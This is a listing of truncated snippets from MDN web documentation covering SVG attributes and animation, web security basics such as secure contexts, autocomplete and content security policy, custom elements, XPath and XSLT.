="black" stroke-dasharray="3 1" stroke-dashoffset="3" /> <!-- the start of the dash array computation is pushed by 3 user units --> <line x1="0" y1="7" x2="30" y2="7" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="-3" /> <!-- the start of the dash array computation is pulled by 1 user units which ends up in the same rendering as the p
revious example --> <line x1="0" y1="9" x2="30" y2="9" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="1" /> <!-- the following red lines highlight the offset of the dash array for each line --> <path d="m0,5 h-3 m0,7 h3 m0,9 h-1" stroke="rgba(255,0,0,.5)" /> </svg> usage notes value <percentage> | <length> default value 0 ...
visibility - SVG: Scalable Vector Graphics
recommendation css definition of the property scalable vector graphics (svg) 2the definition of 'visibility' in that specification. candidate recommendation mainly refers to css 2.1 scalable vector graphics (svg) 1.1 (second edition)the definition of 'visibility' in that specification. recommendation ...
x - SVG: Scalable Vector Graphics
yes note: starting with svg2, x is a geometry property meaning this attribute can also be used as a css property for <foreignobject>. glyphref warning: as of svg2 <glyphref> is deprecated and shouldn't be used. for <glyphref>, x defines the x-axis coordinate of the glyph. value <number> default value 0 for the first glyphref, and the end x coordinate of the p
revious <glyphref> for all subsequent sibling <glyphref>. animatable yes image for <image>, x defines the x coordinate of the uper left corner of the image. value <length> | <percentage> default value 0 animatable yes note: starting with svg2, x is a geometry property meaning this attribute can also be used as a css property for images.
Compatibility sources - SVG: Scalable Vector Graphics
the following sources are used for the compatibility tables on svg elements and attributes: https://developer.mozilla.org/en/svg_in_firefox together with its
revision history for firefox http://www.webkit.org/projects/svg/status.xml together with its recorded archive for webkit, safari and chrome http://www.opera.com/docs/specs/opera9/svg/ and accompanying pages for opera >= 9, http://www.opera.com/docs/specs/opera8/ for opera 8 http://blogs.msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx for hints on ie9 support status the svg support charts at codedread.com for basic checks against the w3c test suite wikipedia for basic hints, not normative ...
<animateMotion> - SVG: Scalable Vector Graphics
. value type: <number>*; default value: none; animatable: no path this attribute defines the path of the motion, using the same syntax as the d attribute. value type: <string>; default value: none; animatable: no rotate this attribute defines a rotation applied to the elment animated along a path, usually to make it pointing in the direction of the animation. ...
<discard> - SVG: Scalable Vector Graphics
the <discard> svg element allows authors to specify the time at which particular elements are to be discarded, thereby reducing the resources required by an svg user agent. this is particularly useful to help svg viewers conserve memory while displaying long-running documents. the <discard> element may occur whe
rever the <animate> element may. usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<script> attributes global attributes conditional processing attributes core attributes aria attributes specific attributes begin href (but note that <discard> has never supported xlink:href) specifications specification status comment svg animations level 2the definition of '<di...
<text> - SVG: Scalable Vector Graphics
> <text x="65" y="55" class="rrrrr">grumpy!</text> </svg> attributes x the x coordinate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: 0; animatable: yes y the y coordinate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: 0; animatable: yes dx shifts the text position horizontally from a p
revious text element. value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts the text position vertically from a p
revious text element. value type: <length>|<percentage> ; default value: none; animatable: yes rotate rotates orientation of each individual glyph. can rotate glyphs individually. value type: <list-of-number> ; default value: none; animatable: yes lengt...
<tspan> - SVG: Scalable Vector Graphics
<tspan>not</tspan> a banana! </text> </svg> attributes x the x coordinate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: none; animatable: yes y the y coordinate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: none; animatable: yes dx shifts the text position horizontally from a p
revious text element. value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts the text position vertically from a p
revious text element. value type: <length>|<percentage> ; default value: none; animatable: yes rotate rotates orientation of each individual glyph. can rotate glyphs individually. value type: <list-of-number> ; default value: none; animatable: yes lengt...
SVG animation with SMIL - SVG: Scalable Vector Graphics
this case, we're establishing a path consisting of a moveto command to establish the starting point for the animation, then the horizontal-line command to move the circle 300 pixels to the right, followed by the z command, which closes the path, establishing a loop back to the beginning. by setting the value of the repeatcount attribute to indefinite, we indicate that the animation should loop fo
rever, as long as the svg image exists. <svg xmlns="http://www.w3.org/2000/svg" width="300" height="100"> <title>svg smil animate with path</title> <rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /> <circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="3s" repeatcount="indefinite" /> </...
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
this page explains a problem that can cause svg to stop working in mozilla due to the way mozilla maps filename extensions to media types. symptoms p
reviously you were able to open and display svg content with mozilla, but for no apparent reason its behaviour changes and now it always pops up the "open or save file" dialog when you try to open local svg files, and displays the "additional plugins are required to display all the media on this page" bar when you try to view html with embedded svg. note: the "additional plugins are required" bar can appear for legitimate reasons when the svg or its embedding html is broken or served incorrectly over the network (see the svg faq). if the blue square with the white cross displays when you load this scripting across embed demo, then you ...
Secure contexts - Web security
why should some features be restricted? some apis on the web are very powerful, giving an attacker the ability to do the following and more: invade a user's privacy. get low-level access to a user's computer. ...
How to turn off form autocompletion - Web security
s the next time the user visits the page. if a site sets autocomplete="off" for username and password <input> fields, then the browser still offers to remember this login, and if the user agrees, the browser will autofill those fields the next time the user visits the page. this is the behavior in firefox (since version 38), google chrome (since 34), and internet explorer (since version 11). p
reventing autofilling with autocomplete="new-password" if you are defining a user management page where a user can specify a new password for another person, and therefore you want to p
revent autofilling of password fields, you can use autocomplete="new-password". this is a hint, which browsers are not required to comply with. however modern browsers have stopped autofilling <input> elements with a...
Securing your site - Web security
ns some of those and shows how to configure your server to serve files with the correct mime types. http strict transport security the strict-transport-security: http header lets a website specify that it may only be accessed using https. http access control the cross-origin resource sharing standard provides a way to specify what content may be loaded from other domains. you can use this to p
revent your site from being used improperly; in addition, you can use it to establish resources that other sites are expressly permitted to use. content security policy an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks. these attacks are used for everything from data theft to site defacement or dist...
Web security
ould be aware of as a web developer. secure contexts a secure context is a window or worker for which there is reasonable confidence that the content has been delivered securely (via https/tls), and for which the potential for communication with contexts that are not secure is limited. many web apis and features are accessible only in a secure context. the primary goal of secure contexts is to p
revent man-in-the-middle attackers from accessing powerful apis that could further compromise the victim of an attack. features restricted to secure contexts this reference lists the web platform features available only in secure contexts. weak signature algorithms the strength of the hash algorithm used in signing a digital certificate is a critical element of the security of the certificate. th...
Using custom elements - Web Components
attribute('img') : 'img/default.png'; const info = wrapper.appendchild(document.createelement('span')); info.setattribute('class','info'); // take attribute content and put it inside the info span info.textcontent = this.getattribute('data-text'); // create some css to apply to the shadow dom const style = document.createelement('style'); style.textcontent = '.wrapper {' + // css truncated for b
revity // attach the created elements to the shadow dom this.shadowroot.append(style,wrapper); finally, we register our custom element on the customelementregistry using the define() method we mentioned earlier — in the parameters we specify the element name, and then the class name that defines its functionality: customelements.define('popup-info', popupinfo); it is now available to use on o...
self - XPath
specifications specification status comment xpath 3.1the definition of 'self' in that specification. recommendation xpath 3.0the definition of 'self' in that specification. recommendation xpath 2.0the definition of 'self' in that specification. ...
Introduction to using XPath in JavaScript - XPath
for example with this document: <?xml version="1.0" encoding="utf-8"?> <feed xmlns="http://www.w3.org/2005/atom"> <entry /> <entry /> <entry /> </feed> doc.evaluate('//entry', doc, nsresolver, xpathresult.any_type, null) will return an empty set, where nsresolver is the resolver returned by createn...
<xsl:namespace-alias> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:namespace-alias> element is a rarely used device that maps a namespace in the stylesheet to a different namespace in the output tree. the most common use for this element is in generating a stylesheet from another stylesheet. to p
revent a normally xsl:-prefixed literal result element (which should simply be copied as-is to the result tree) from being misunderstood by the processor, it is assigned a temporary namespace which is appropriately re-converted back to the xslt namespace in the output tree. syntax <xsl:namespace-alias stylesheet-prefix=name result-prefix=name /> required attributes stylesheet-prefix specifies the temporary namespace. result-prefix specifies the desired n...
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
nt attribute, the processor counts how many preceding matching siblings it has, and adds one for the node itself. if no match is found, the sequence will be an empty list. any (not supported at this time.) numbers all matching nodes, regardless of level, sequentially. the ancestor, self, and preceding axes are all considered. the processor starts at the current node and proceeds in
reverse document order, stopping if it reaches a match to any from attribute. if no match to the count attribute is found, the sequence will be an empty list. this level is not supported at this time. from specifies where the numbering should start or start over. the sequence begins with the first descendant of the node that matches the from attribute. value applies a given format to a ...